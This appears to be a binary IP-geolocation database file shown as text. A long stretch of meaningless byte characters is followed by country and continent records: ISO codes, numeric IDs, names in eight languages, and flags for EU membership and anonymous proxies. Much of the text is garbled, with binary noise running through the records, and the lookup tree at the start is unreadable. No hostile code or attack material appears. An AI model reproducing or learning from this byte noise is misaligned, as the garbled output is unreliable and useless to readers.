rr;r!r"r$r3r%r,r&r)r'r(*r*r+r-r0r.r/r1r2r4r;r5r8r6r7r9r:r<r?r=r>r@rArCrbrDrSrErLrFrIrGrH;rJrKrMrPrNrOgrQrRrTr[rUrXrVrWrYrZr\r_r]r^r`rarcrrdrrer|rfrgrhrirjrkrlrmrnrorprqrrrsrtrurvrwrxryrzr{NNr}r~rrrrʯrrrdrdrdrdrdrdrdrrdrdrdrrdrdrdrddrdrdrdrrrrrrrrrrrrrrrrrrrrrsrs2rrrrrrrrrrrr;rrʠrrrr7rrrrrrrrrrrrrrrrrrrrrrrrrrrrrr/rrrrrrrrrrr/rrrsrrrrrrrr/rrrrrr/rrrsssssssss ss /s s s ssss ssssss<sssssssss!s(s"s%s#s$s&s's)s/s*s+s,s-s.s0s1ʠs3s{s4sVs5sDs6s=s7s:s8s9zs;s<s>sAs?s@sBsC<sEsOsFsLsGsHsIsJsKJsMsNdsPsSsQsRsTsUsWslsXsesYs_sZs[s\s]s^s`sasbscsd<sfsisgshsjsksmstsnsqsospsrsssusxsvsw+sysz$s|ss}ss~sssssss<ssssʯss*ssssssssssssssеsеv3еssԙssssssssssssssеss7ssssssssssssеssstCssssssssssss7ssssssеsssssss<ssssеsssssssssssssssssssеssssssssssssssеss7st!ttttttttFttt t t t еt ttttttttttttʯttttеtt vt"t4t#t*t$t't%t&t(t)Qt+t.t,t-еt/t0t1t2t3t5t<t6t9t7t8t:t;t=t@t>t?еtAtBtDttEtgtFtUtGtNtHtKtItJ9tLtM3tOtRtPtQеtStTdtVt]tWtZtXtYt[t\t^tat_t`еtbtctdtetfthtwtitptjtmtktltntotqtttrtsеtutvdtxttyt|tzt{t}t~ttttеttttttttttttttttttеtt$tttttt;ttttttеttgtttttttttt9tttttttttttttttttJtuttttu t7t7tuttttttt7t7t7ttt7ttt7tt777tt77t7t7t777t7ttt77tutt7t7t7tttttttttttttttttttttttuukuuu77u77u7u 7u 77u 77u 7uuu7uu7u77u؉77u7u7u7u7uuuwuvpuuu u_u!uCu"u4u#u-u$u'u%u&du(u)u*u+u,u.u1u/u0u2u3u5u<u6u9u7u8u:u;u=u@u>u?7uAuBvuDuSuEuLuFuIuGuHʯuJuKvuMuPuNuOBuQuRvuTuXuUuVuW7uYu\uZu[u]u^<u`uuaupubuiucufudueJuguhujumukulunuouqu{uruuusut<uvuwuxuyuzu|u}u~<uuuuuuuu;uuguuuuFuuuuuuu+uuuuuuuuuuv%uuuuuuuuuuuuuuuuuuuuuuuuuubububububbuububububububbuu<uuuuuu9uuuuuuuu(KuuuuuuuuuuuQuvuvuuuuuuuvuuuuuuuu#uuuu,uuuuuuuu35*ZuvuuRA0 vv3SMvvvv vv vv3D~#mVv vv v zvv+-vvvvvvvv`,vq~vv+vv"v v!v#v$v&vKv'v9v(v2v)v/v*v+v,v-v.v0v1bv3v6v4v5v7v8v:vAv;v>v<v=v?v@dvBvEvCvDvFvGvHvIvJ7vLv^vMvWvNvTvOvPvQvRvS7vUvVvXv[vYvZv\v]<v_vfv`vcvavb7vdvevgvjvhvivkvlvmvnvo9vqvvrvvsvvtvvuv|vvvyvwvxvzv{9v}vv~vʠvvgvvvvvvvvvvvvvvvvv(Kvvvvvvvvvvvvvvvvvvvvvvvvv9vv7vvvvvvvvvvvvvvvvvv9vvvv+vv/vvvvvvvvvvvvFvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv vvvw9vwvwvwvvvvvwUswwww;ww>w ww w w w wwʠwwww*wwdww'ww wwwwwww!w$w"w#w%w&w(w/w)w,w*w+w-w.w0w6w1w2w3w4w5w7w8dw:w_w;wMw<wFw=wCw>w?w@wAwB*wDwEwGwJwHwI+wKwLwNwXwOwRwPwQwSwTwUwVwW/wYw\wZw[w]w^w`wrwawhwbwewcwdwfwg7wiwowjwkwlwmwngwpwqwswzwtwwwuwvwxwy;w{w~w|w}<ww7wy%wx+wwwwwwwwwwwwww7wwww9ww/wwwwwwwwwwwwJww>wwwwwwww;ww~!wwwwww;wwwwww;wwwwwwwwwwwwwwwwwwww wwwwdww˭wwwwwwwwwwww+wwQwwwwwwwwww9wwwwwww7wwwwwwwBwwwwxxxxx)x7x7x7x7x7x 7x 7x xx 77x x7x7x7xx,Sxx7,S7xxx,Sx,S7,Sx7,Sx؉x7x7x7x7x 7x!7x"7x#x&x$x%Ttx'x(HBL*s 7x*؉x,xnx-xOx.x=x/x3x0x1x2x4x:x5x6x7x8x9dx;x<,x>xHx?xBx@xAxCxDxExFxGxIxLxJxKxMxNʑxPx_xQxXxRxUxSxTzxVxWxYx\xZx[x]x^/x`xgxaxdxbxc<xexf/xhxkxixjxlxmxoxxpxxqxxxrxuxsxtxvxwxyx|xzx{x}x~7xxxxxxxx9xxxxxxxxxxxxxxxxxxxxxxxxxxxxdxyxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhxxyxxxxxxxxxxxxxxxyyyyy#y##yyyy #y #y #y yy #y#y##y#y#y#h#y#y#y#yyy#y#y##y##yy"y y!y#y$Qy&zy'yiy(yJy)y8y*y1y+y.y,y-y/y0dy2y5y3y4+y6y7y9y@y:y=y;y<Fy>y?7yAyDyByCMyEyFyGyHyIyKyZyLySyMyPyNyOyQyR7yTyWyUyV;yXyY/y[yby\y_y]y^y`yaycyfydye;ygyh<yjzyky}ylyvymysynyoypyqyrytyuywyzyxyy;y{y|y~yyyyyyybyzyyyyyyyyyyyyyyyyyyyyyyyyy8yyyyyy`yȐyy5yyyyyyyyyyyyyyȬyyyyyyy5yyyyyy=yyyçy5yz=yzyyyyyyyyyyyyyyшyyyyçyyyyyyyy:yyyyyyyyyyyryyyǞyyyyyǬyzyyyyyyyȐ-yȐȐzz5-zzzz-5zz z z2z zȐz Ȑz zȐzȐzȐȐǬzȐzz"zzȐzzȐȐzzȐȐzzȐȐǬzȐzȐzȐȐzz Ȑz!ȐǬȐz#ȐȐz$z%z,z&Ȑz'Ȑz(z*z)ȐǬȐz+ȐȐǬz-Ȑz.Ȑz/z1z0ȐǬȐȐǬz3Ȑz4Ȑz5z9z6ȐȐz7z8ȐȐǬz:ȐȐz;z<ȐǬȐz>zcz?z@zDzAzBzCȐzEzHzFzGzIzJzKzSzLzMzNzOzPzQzR`zTz\zUzVzWzXzYzZz[Ȭ5z]z^z_z`zazbzdzrzezfzgzhzizjzozkzmzlçznDzpzqczsz}ztzzzuzxzvzwȐ-zyȐȐz{z|5-z~zzzzȐzzzzzzzzzzzzzȂzzȞzzzzz`zçzz=zzz7zzzzzzzzzz7zzzzzz<zzzzzzzzzеzzzzzzzzzzzdz{ zzzzzzzzzzzzzzzzzzzzzzʠzzzzzzzz˭zz<zzzz7zzzzzzzzzzzzzzzzzzzzzz{z{{{{{{{ {{{ { { {){{ {{{{{{{{{{{{{{{{{<{!{%{"{#{${&{'{({*{3{+{/{,{-{.;{0{1{2{4{8{5{6{7{9{:{;{={>{?{@{A{B{C{D{E{F{|{G{u{H{K{I{JZ8{L{Q{M{N{O{P{R{V{S{T{U],{W{b{X{Y{Z{[{\{]{^{_{`{a{c{e{d[{f{g\{h{o{i{l{j{k{m{n[{p{s{q{r{t[{v{w{x{y{z{{{}{~N{~p{}{|J{{{{{{{{{{{{{{{{{{{{{{{{{{{Zh{{{{{Zh{{{{{{{{\{{{{{{{Zx{{{{{ZH{{{{{{{{{{{{{{{{{{{{{{{Z{{{{{{{{{{{{{{[{{{{{Zh{{{{{{{{{{{{{|#{|{{{{{{{{{{{{{{{|{{{||Zx|||||Zh| || || | | ||Zh|||||\|||||||\||| |!|"|$|5|%|2|&|,|'|(|)|*|+Z|-|.|/|0|1Zh|3|4Z8|6|C|7|=|8|9|:|;|<Z|>|?|@|A|B\|D|E|F|G|H|IZx|K||L||M|h|N|[|O|U|P|Q|R|S|T|V|W|X|Y|ZZx|\|b|]|^|_|`|aZh|c|d|e|f|g|i|v|j|p|k|l|m|n|o],|q|r|s|t|u]|w|}|x|y|z|{|||~||||#||||||||||#|||||||||||||||||||||]|||||Zh|||||||Z|||||||||||||||||||||||||||||||||||Z||||||||||||||Zh|||||||^,|||||[k|}|||||]|||||||||||||}}}}}}}} }}} } } *} }}}}}}}}}}}}}}}}]} }}!}}"}Y}#}>}$}1}%}+}&}'}(})}*},}-}.}/}0\}2}8}3}4}5}6}7Zx}9}:};}<}=}?}L}@}F}A}B}C}D}E}G}H}I}J}K}M}S}N}O}P}Q}R\}T}U}V}W}X[}Z}o}[}h}\}b}]}^}_}`}a}c}d}e}f}g}i}j}k}l}m}nZx}p}}}q}w}r}s}t}u}v[}x}y}z}{}|\q}~}}}}}[}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}Zx}}}}}}]}}}}}}}}}}}}}}}[}}}}}}}}}}}}}}[{}}}}}}}~ }}}}}}}}}}}}\q}}}}}}}}}}}}}}}}}}}}}}}}}}}~ }~}}}}}}}[}~~~~]~~~~~ ~ Zh~ ~~ ~~~~~~\A~~~~~~~~~~~~!~L~"~7~#~0~$~*~%~&~'~(~)~+~,~-~.~/]~1~2~3~4~5~6[~8~E~9~?~:~;~<~=~>~@~A~B~C~D~F~G~H~I~J~K[~M~[~N~O~U~P~Q~R~S~TZh~V~W~X~Y~Z[~\~i~]~c~^~_~`~a~bZx~d~e~f~g~h#~j~k~l~m~n~oZx~q~r~s~~t~~u~}~v~w~x~y~z~{~|~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[~~~~~^~~~~~~Zx~~~~~~~~~Zx~~~~~Z8~~~~~~Zh~~~~~~~~~~~~~Zh~~~~~~~~~~~\a~~~~~~~~^~~~~~~Z~~~~~~~~~~~~~~~~^~~~~~~~~~~~~[Zh     ];&*Zh !"#$%Zh'4(.)*+,-/0123Zh56789:Zx<=D>?@ABCEFGHIJKLZxMZxNwOeP`QWRSZxTUVX\YZ[Zx]^_\Q/aZxbZxc?dZxO_fZxgrhlijkoZxݧmpnooݧqZx/OsZx?tuvZxxZxyZxz{|}~ݧO?/ݧoZx??Zx[[Zh[kZhZhZhZhZhR' ]  Zh   ]\!"#$%&Zh(=)6*0+,-./#12345Zh789:;<Zh>K?E@ABCDZhFGHIJZhLMNOPQS~TiUbV\WXYZ[]^_`aZhcdefghjwkqlmnoprstuvxyz{|}]][^Zh\ZhZhZhZhZx#     \] !"Zx$9%2&,'()*+]k-./01],345678Zx:G;A<=>?@ZhBCDEFHIJKLM*OwP Q0RSToUbV\WXYZ[]^_`acidefgh^ jklmnp}qwrstuv],xyz{|Zh~ZxZZhZx]]Zh_Zh\ZXZxZh     #] !"$*%&'()\q+,-./[12i3N4A5;6789:Zx<=>?@ZBHCDEFGIJKLMO\PVQRSTUWXYZ[]c^_`abZhdefghjkxlrmnopqstuvwZHyz{|}~]\Zh\[\AZh]]]Zh^Zh    qF+Z% !"#$&'()*Zx,9-3./01245678T:@;<=>?ABCDEG\HUIOJKLMNPQRSTVWXYZ[\a]j^d_`abc]kefghiZhklmnopZxrstu{vwxyz],|}~ZxZ\[]]Zh Zh]Zh ]  aG  \]k!L"7#0$*%&'()Z+,-./[123456^8E9?:;<=>@ABCD]FGHIJK\MbN[OUPQRSTVWXYZ\]^_`aZhcpdjefghiklmno],qrstuvxy!z{|}~ZX\ZxZ8Zh]ZxZx[] Z    \^, \"u#J$5%.&,'()*+-/01234]6C7=89:;<>?@ABDEFGHIZhK`LYMSNOPQRTUVWX#Z[\]^_\aanbhcdefgijklm[kopqrstvwxyz{|}~]kZhZx#Zx#ZxZhZxqZxZ\Zh     [ZhF1*$ !"#%&'()Zh+,-./0Z82?3945678:;<=>#@ABCDEG\HUIOJKLMN\PQRSTVWXYZ[]j^d_`abc[efghiZHklmnoprstuv|wxyz{]}~]Zh^,#ZhZh\Z8Zx[]ZxZh^ \Zx      1Y:. '!$"#[%&T(+)*,-Zh/30124756Zx89*;J<C=@>?ABDGEFZhHIZhKRLOMNPQSVTU\AWXZxZy[j\c]`^_ZhabZxdgef[hikrlomnpqsvtu^wxZxz{|}~ZxT\a\],Zx]\Z^[^ZxZh _c    Zh"_Zh !\q#*$'%&()+.,-/023l4P5A6=7:89;<>?@BICFDEGH[JMKLNOZxQ]RVSTUZxWZXY][\^e_b`a[cd\figh]jkmn}ovpsqr[tu^wzxy{|Zx~Zx[Zx]\Zx]]Zx]]\ZhaG[]Zx]\  Z  J+Zx $!"#%(&'T)*Zx,;-4.1/02358679:]<C=@>?[ABDGEFHIZHKgLXMQNOPRUSTZVWY`Z][\]^_]adbcef]htipjmklno]qrsu|vywxz{}~[]]#ZxZhZhZh],[ZXx9  ]]   \]k*&# ],!],],"],]<$%'()^+2,/-.01Zh364578:Y;J<C=@>?^ABDGEFHIKRLOMN[PQSVTU]WX[Zi[b\_]^Zx`acfde]ghjqknlmopZxrust],vw]yz{|}~Z[k\Zx^<[ZXZx*\ZhZZZx-d, ^Zh\a    ^^\Z%" ![#$]&)'(]*+-I.=/60312457:89;<Zx>B?@ACFDEZ8GHZHJUKQLNMZOPRST*V]WZXY[[\^a_`bc^ ef{gohiljkmnZhptqrsZxuxvw\yz]|}~\\q\[]k\aZZZH[{\aZX     yC-!\ "&#$%\'*()[+,.7/3012*456\q8<9:;=@>?ZxABD`EQFMGJHI[KLNOPZRYSVTUWXZ][\^_ajbfcde{ghikrlomn],pqZsvtuZwxZz{|}~\TZ\qZh*],ZxZZx\]^Zhf'ZhZx\Z   [  \ !$"#%&(G)8*1+.,-/02534[67\9@:=;<ZH>?ADBCEFHWIPJMKLNOQTRS[UV]X_Y\Z[]^`cabdeghixjqknlmoprust[vw#yz}{|Zx~************ZZhT]{\^ [5EZxZxaG[\Z}+]k[   Zh  \Zx^\$! ]"#%(&'Z)*\q,E-9.2/01*3645^,78Z:>;<=^<?B@AZCD]FnGKHIJ]LOMN\PQRSTUVWXYZ[\]j^d_b`a7Tc7Tehfg[i7Tklm7Tovpsqrtuwzxy{|~]\q\qZ B[T\ZH\a[k^< ZH    Z$[Z! ]"#Z%)&'(*+,./01]2G3;45867[9:\a<@=>?[ADBCTEFHTIMJKL^LNQOPRS^UYVWX\Z[\Zh^s_k`gadbcZxef[hij\lmpno]qrt|uvywx^Lz{]}~T[ZH]\A^<\ZXZ^^^,Z][k]k^[^]]]]]]]]]]]]]]]>]\qZx   [{  \ah9*[T],& #!"^,$%[{'()[+0,-./15234[678:L;J<C=@>?[ABDGEFHIZHKZ[MYNUORPQ[ST\qVWX]Za[^\]]_`Zhbecd[fgijkzlsmpno\qrtwuv#xy{|}~],]\ZhZhZhZhZhZhZhZhZhZhZhZhZhZhZhZh[Zh[Z\ZxZxZ\]kRZ8[[ZxZh9-&ZhZ8Z8Z8 Z8 Z8 Z8 Z8 Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8Z8 !Z8"Z8#Z8Z8$Z8%Z8'*()Zx+,Zx.2/01[364578\:C;?<=>Z@AB]DKEHFGZhIJLOMNZPQ[STsUdV]WZXY\[\\^a_`Zbc*elfighZjkZxmpnoZqrZxtu|vywxZz{ZH}~[\^<][ZZZZ\Z[}Zh\_Zh TTTTTTTTTTTTTTTTTTTTTTTTTTTT  T T T\1T\\TS+ $!"#Zh%(&')*Z,3-0./Zx12Zx4P567T8T9T:T;T<T=T>T?T@TATTBCGTDTEF^T^HMIK^J^TLT^TNTTO\1TQRZTqU\VYWX\Z[[]^_`abcdefghijklmnop[[rvstuZ8wzxy*{|Zh~\q]ZhZx[ZxZh\\\Zx[ZxZxIcontinentDcodeBASJgeoname_id_r+EnamesBdeEAsienBenDAsiaBes 6BfrDAsieBjaIアジアEpt-BREÁsiaBruHАзияEzh-CNF亚洲Gcountry eHiso_codeBJP # *EJapan 3 ;FJapón @EJapon HF日本 UFJapão aLЯпония m Rregistered_country  z  BCN # *EChina 3! ;! @EChine HF中国 U! aJКитай m!  BOC _r/ # *HOzeanien 3GOceania ;HOceanía @HOcéanie HOオセアニア U!^ aNОкеания mI大洋洲 z  BAU # *JAustralien 3IAustralia ;! @IAustralie HUオーストラリア UJAustrália aRАвстралия mL澳大利亚 ! !  z  BTH # *HThailand 3"S ;ITailandia @JThaïlande HLタイ王国 UJTailândia aNТаиланд mF泰国 "B  z R BHK # *HHongkong 3IHong Kong ;" @" HF香港 U" aNГонконг m"  BEU _r, # *FEuropa 3FEurope ;#" @#+ HOヨーロッパ U#" aLЕвропа mF欧洲 z Z BRU # *HRussland 3FRussia ;ERusia @FRussie HIロシア UGRússia aLРоссия mO俄罗斯联邦  z _ BIN # *FIndien 3EIndia ;# @DInde HIインド UFÍndia aJИндия mF印度 #  z q BMY # *HMalaysia 3$R ;GMalasia @HMalaisie HOマレーシア UHMalásia aPМалайзия mL马来西亚 $A  z A BKR # *ISüdkorea 3KSouth Korea ;MCorea del Sur @MCorée du Sud HL大韓民国 UMCoreia do Sul a]Республика Корея mF韩国 $  z  BSG # *HSingapur 3ISingapore ;%n @ISingapour HRシンガポール UISingapura aPСингапур mI新加坡 %]  z t BTW # *FTaiwan 3% ;GTaiwán @GTaïwan HF台湾 U% aNТайвань m& %]  z" %]  z$ %]  z %]  z% %  z %  z" "  z 8 BPH # *KPhilippinen 3KPhilippines ;IFilipinas @& HXフィリピン共和国 U& aRФилиппины mI菲律宾 &  z "B  z  BVN # *GVietnam 3'- ;'- @IViêt Nam HLベトナム UGVietnã aNВьетнам mF越南 ' # z )Tis_in_european_union BNL # *KNiederlande 3OThe Netherlands ;GHolanda @HPays-Bas HRオランダ王国 U' aTНидерланды mF荷兰 # z#j %  BSA _r. # *KSüdamerika 3MSouth America ;KSudamérica @PAmérique du Sud HO南アメリカ UOAmérica do Sul aYЮжная Америка mI南美洲 z 4 BBR # *IBrasilien 3FBrazil ;FBrasil @GBrésil H[ブラジル連邦共和国 U( aPБразилия mF巴西 %] (/ z : BAR # *KArgentinien 3IArgentina ;(l @IArgentine H[アルゼンチン共和国 U(l aRАргентина mI阿根廷 %]  z _qR BPS # *JPalästina 3IPalestine ;IPalestina @( HOパレスチナ U( aRПалестина mL巴勒斯坦 ( # z &O' BES # *GSpanien 3ESpain ;GEspaña @GEspagne HLスペイン UGEspanha aNИспания mI西班牙 (V # z . ' BFR # *JFrankreich 3FFrance ;GFrancia @( HUフランス共和国 UGFrança aNФранция mF法国 ( # z (5 BGB # *BUK 3NUnited Kingdom ;KReino Unido @KRoyaume-Uni HF英国 U(x aPБритания m( (Q  z# (Q # z (' BSE # *HSchweden 3FSweden ;FSuecia @FSuède HXスウェーデン王国 UGSuécia aLШвеция mF瑞典 ( # z( (  BNA _r- # *KNordamerika 3MNorth America ;MNorteamérica @QAmérique du Nord HO北アメリカ UQAmérica do Norte a]Северная Америка mI北美洲 z _e BUS # *CUSA 3MUnited States ;NEstados Unidos @KÉtats Unis HLアメリカ UCEUA aFСША mF美国 ( # z' ' (/ z( ' # z ,T' BDE # *KDeutschland 3GGermany ;HAlemania @IAllemagne HXドイツ連邦共和国 UHAlemanha aFФРГ mF德国 ' # z .' BCZ # *JTschechien 3GCzechia ;GChequia @ITchéquie HRチェコ共和国 UHChéquia aJЧехия mF捷克 ' # z(V ' # z( ' # z ( BCH # *GSchweiz 3KSwitzerland ;ESuiza @FSuisse HOスイス連邦 UGSuíça aRШвейцария mF瑞士 ' (/ z(M ' # z *s' BAT # *KÖsterreich 3GAustria ;(k @HAutriche H[オーストリア共和国 UHÁustria aNАвстрия mI奥地利 ' # z 0s' BIT # *GItalien 3EItaly ;FItalia @FItalie HUイタリア共和国 UGItália aLИталия mI意大利 ' # z ' BGR # *LGriechenland 3FGreece ;FGrecia @FGrèce HUギリシャ共和国 UGGrécia aLГреция mF希腊 ' # z#j ' # z( ' # z(Q ' !B z! '  z n BAE # *\Vereinigte Arabische Emirate 3TUnited Arab Emirates ;WEmiratos Árabes Unidos @TÉmirats Arabes Unis HXアラブ首長国連邦 UWEmirados Árabes Unidos aFОАЭ mI阿联酋 ' (/ z 8> BCO # *IKolumbien 3HColombia ;( @HColombie HXコロンビア共和国 UIColômbia aPКолумбия mL哥伦比亚 ' # z (8' BDK # *IDänemark 3GDenmark ;IDinamarca @HDanemark HUデンマーク王国 U( aJДания mF丹麦 ' # z "M' BPT # *HPortugal 3( ;( @( HXポルトガル共和国 U( aTПортугалия mI葡萄牙 '  BAF _r* # *FAfrika 3FAfrica ;GÁfrica @GAfrique HLアフリカ U( y aLАфрика mF非洲 z # BGH # *EGhana 3( ;( @( HRガーナ共和国 UDGana aHГана mF加纳 ' ( V z  BZA # *JSüdafrika 3LSouth Africa ;JSudáfrica @NAfrique du Sud HO南アフリカ UNÁfrica do Sul aFЮАР mF南非 ' ( V z "+ BCM # *GKamerun 3HCameroon ;HCamerún @HCameroun HXカメルーン共和国 UICamarões aNКамерун mI喀麦隆 '  z + BTR # *GTürkei 3HTürkiye ;HTurquía @GTurquie HRトルコ共和国 UGTurquia aLТурция mI土耳其 ' # z  -' BFI # *HFinnland 3GFinland ;IFinlandia @HFinlande H[フィンランド共和国 UJFinlândia aRФинляндия mF芬兰 ' # z  /P' BPL # *EPolen 3FPoland ;GPolonia @GPologne HXポーランド共和国 UHPolônia aLПольша mF波兰 '  z  BJO # *IJordanien 3FJordan ;HJordania @HJordanie H]ヨルダン・ハシミテ王国 UIJordânia aPИордания mF约旦 '  z"B '  z ' (_ z( ' # z *¹' BBE # *GBelgien 3GBelgium ;HBélgica @HBelgique HRベルギー王国 U( aNБельгия mI比利时 ' # z  /U' BRO # *IRumänien 3GRomania ;HRumanía @HRoumanie HOルーマニア UHRomênia aNРумыния mL罗马尼亚 ' ( V z  BKE # *EKenia 3EKenya ;( @( HRケニア共和国 UGQuênia aJКения mI肯尼亚 ' # z -8' BIE # *FIrland 3GIreland ;GIrlanda @GIrlande HRアイルランド U( aPИрландия mI爱尔兰 ' ( V z s BUG # *FUganda 3(~ ;(~ @GOuganda HUウガンダ共和国 U(~ aLУганда mI乌干达 '  z  BAM # *HArmenien 3GArmenia ;( @HArménie HXアルメニア共和国 UHArmênia aNАрмения mL亚美尼亚 ' ( V z HV BTZ # *HTansania 3HTanzania ;(~ @HTanzanie H]タンザニア連合共和国 UITanzânia aPТанзания mL坦桑尼亚 ' ( V z  BBI # *GBurundi 3( ;( @( HUブルンジ共和国 U( aNБурунди mI布隆迪 '  z% ' (/ z ;oJ BCL # *EChile 3( ;( @EChili HOチリ共和国 U( aHЧили mF智利 '  z%] ' # z / BNO # *HNorwegen 3FNorway ;GNoruega @HNorvège HUノルウェー王国 U( aPНорвегия mF挪威 ' # z -+' BLU # *ILuxemburg 3JLuxembourg ;JLuxemburgo @(w HUルクセンブルク U( aTЛюксембург mI卢森堡 ' # z  .' BBG # *IBulgarien 3HBulgaria ;( @HBulgarie HXブルガリア共和国 UIBulgária aPБолгария mL保加利亚 ' # z  g BUA # *GUkraine 3(~ ;GUcrania @(~ HXウクライナ共和国 UHUcrânia aNУкраина mI乌克兰 ' ( V z vj BEG # *HÄgypten 3EEgypt ;FEgipto @GÉgypte H]エジプト・アラブ共和国 UEEgito aLЕгипет mF埃及 ' (_ z _e BCA # *FKanada 3FCanada ;GCanadá @( HIカナダ U( aLКанада mI加拿大 '  z# '  z ~ BIL # *FIsrael 3( ;( @GIsraël HRイスラエル国 U( aNИзраиль mI以色列 '  z$ '  z k BQA # *EKatar 3EQatar ;ECatar @(w HLカタール U( aJКатар mI卡塔尔 ' # z( (  z( (  z( ( (_ z(  m> BMD # *ORepublik Moldau 3GMoldova ;HMoldavia @HMoldavie HUモルドバ共和国 UIMoldávia aNМолдова mL摩尔多瓦 # z( a ( a (_ z( ( a # z( ( (_ z( ( # z 0' BHR # *HKroatien 3GCroatia ;GCroacia @GCroatie HXクロアチア共和国 UHCroácia aPХорватия mL克罗地亚 ( # z( ( # z'  BSC # *JSeychellen 3JSeychelles ;( @( HOセーシェル UPIlhas Seychelles a]Сейшельские о-ва mI塞舌尔 # z' (bFtraitsRis_anonymous_proxy  z' ( (_ z( ( # z#j #j # z(m #j # z( ( # z(Q 6 BBZ # *FBelize 3(x ;FBelice @(x HLベリーズ U(x aJБелиз mI伯利兹 # z(Q (  z( . ( . # z(? (? (_ z(o ( # z( ( # z' #j  z" #j # z(? (b # z( (b # z( (V  z( . (m (_ z( (m # z( (m (_ z( <' BCY # *FZypern 3FCyprus ;FChipre @FChypre HUキプロス共和国 U( aHКипр mL塞浦路斯 (_ z( (b # z 0I BVA # *LVatikanstadt 3LVatican City ;SCiudad del Vaticano @GVatican H] ローマ法王庁 (バチカン市国) UHVaticano aNВатикан mI梵蒂冈 (b # z( ( # z(? ( # z(m ( (_ z( ( # z#j ( (_ z 6v BVG # *XBritische Jungferninseln 3VBritish Virgin Islands ;OIslas Vírgenes @MÎles Vierges H[英領ヴァージン諸島 UYIlhas Virgens Britânicas a]Виргинские о-ва (Великобритания) mU英属维尔京群岛 ( # z' (  z" ( (_ z( ( # z(H (H # z' ( # z(m (m # z({ ({ # z#j ( # z(Q ( (_ z(  ' BLT # *GLitauen 3ILithuania ;HLituania @HLituanie HXリトアニア共和国 UILituânia aJЛитва mI立陶宛 (_ z( (Q  z( ( # z' ( # z( ( (_ z( (V # z(V (V # z(V (V # z#j # # z ( ; BIS # *FIsland 3GIceland ;HIslandia @GIslande H[アイスランド共和国 UIIslândia aPИсландия mF冰岛 ( # z' (  z( . ( (/ z( ( # z( ( # z( (  z (  z ` BOM # *DOman 3( ;EOmán @( HOオマーン国 UDOmã aHОман mF阿曼 ( (_ z( %]  z  BIR # *DIran 3( ;EIrán @( H]イラン・イスラム共和国 UDIrã aHИран mF伊朗 ( # z( ( # z' ( # z({ ( # z(Q ( # z( ( (_ z(o ( (/ z(n (  z  ` BGE # *HGeorgien 3GGeorgia ;(! @HGéorgie HUグルジア共和国 UHGeórgia aLГрузия mL格鲁吉亚 (! # z .' BSK # *HSlowakei 3HSlovakia ;JEslovaquia @ISlovaquie H] スロバキア (スロバキア共和国) UKEslováquia aPСловакия mL斯洛伐克 ("D # z( (  z < BKZ # *JKasachstan 3JKazakhstan ;JKazajstán @(# H[カザフスタン共和国 ULCazaquistão aRКазахстан mO哈萨克斯坦 (" # z( ( # z( ((( # z(? ( # z( (  z (b # z e' BEE # *GEstland 3GEstonia ;($ @GEstonie HXエストニア共和国 UHEstônia aNЭстония mL爱沙尼亚 (# (_ z( (H # z( (H # z $B BGI # *IGibraltar 3($ ;($ @($ HRジブラルタル U($ aRГибралтар mL直布罗陀 ($ # z( ( # z ' BLV # *HLettland 3FLatvia ;GLetonia @HLettonie HUラトビア共和国 UHLetônia aLЛатвия mL拉脱维亚 (% # z( ( # z( (  z( ( # z(V ( # z( a ( # z 0 ' BSI # *ISlowenien 3HSlovenia ;IEslovenia @ISlovénie HOスロベニア UJEslovênia aPСловения mO斯洛文尼亚 (% # z( (% # z( ( # z' ((( # z( (V (_ z < BMX # *FMexiko 3FMexico ;GMéxico @GMexique HUメキシコ合衆国 U(& aNМексика mI墨西哥 ( # z(Q ( # z( ( # z( ( # z( ( # z( (((  z%]  ' BHU # *FUngarn 3GHungary ;HHungría @GHongrie HXハンガリー共和国 UGHungria aNВенгрия mI匈牙利 (_ z( (' # z(' (' # z' (Q # z({ ( # z(m ( (_ z( &  z' ( # z( (  z%] ( # z( ( (_ z( %  z" ( # z(Q (  z%] ( (_ z( (g # z(? (g # z( (b # z#j (b  z( (  z  BSA # *MSaudi-Arabien 3LSaudi Arabia ;MArabia Saudí @OArabie saoudite H[サウジアラビア王国 UOArábia Saudita a]Саудовская Аравия mO沙特阿拉伯 ( # z(Q ( ( V z(  (  # z( (   z( . (% (/ z( ( (_ z( "  z$ "  z " # z( #j # z(? #j (_ z 7L| BCR # *JCosta Rica 3(* ;(* @(* HOコスタリカ U(* aSКоста-Рика mO哥斯达黎加 (H  z( . ( a # z' ( a # z({ (  z (Q  z# ( (_ z( ( # z( ( # z(S (S  z()) ())  z%] ( !B z ![ BNZ # *JNeuseeland 3KNew Zealand ;MNueva Zelanda @QNouvelle-Zélande HXニュージーランド UNNova Zelândia a[Новая Зеландия mI新西兰 ( # z( (  z m BBH # *GBahrain 3(,X ;HBahréin @HBahreïn HOバーレーン U(,X aNБахрейн mF巴林 (  z# (  z L BID # *JIndonesien 3IIndonesia ;(, @JIndonésie H[インドネシア共和国 UJIndonésia aRИндонезия mO印度尼西亚 ( ( V z(  ( # z( (  z( ( (/ z( (  z$ (  z (  z$A ( !B z! ( # z( (  z( ( # z(V ( # z( (  z"B ( (_ z(& (  z% ( # z( ((( (_ z( ((( (/ z(M (  z( . ( # z({ (  z(^ ( ( V z( ( # z(? ( # z( (  z' (  z" (  z()) ( # z(H ( (/ z( ( # z( (  z  BSY # *FSyrien 3ESyria ;ESiria @ESyrie H]シリア・アラブ共和国 UFSíria aJСирия mI叙利亚 (/+ # z(V ( # z( (  z  BIQ # *DIrak 3DIraq ;(/ @(/ HRイラク共和国 UFIraque aHИрак mI伊拉克 (/ (_ z( ( # z' '(( # z(# #j (_ z( #j  z%] (V # z' (V # z(Q (V  z# (V  z (V # z( (V  z & BLB # *GLibanon 3GLebanon ;GLíbano @ELiban HUレバノン共和国 U(0 aJЛиван mI黎巴嫩 (0 # z( (V # z(Q (V # z( (Q # z' l BAZ # *MAserbaidschan 3JAzerbaijan ;KAzerbaiyán @LAzerbaïdjan H]アゼルバイジャン共和国 UKAzerbaijão aVАзербайджан mL阿塞拜疆  z( (1o # z(Q (1o # z  z' BAX # *LÅlandinseln 3NÅland Islands ;KIslas Aland @LÎles Åland HUオーランド諸島 UFAlanda aLАланды mL奥兰群岛 (1o  z( u ( u # z _L BRS # *GSerbien 3FSerbia ;(2 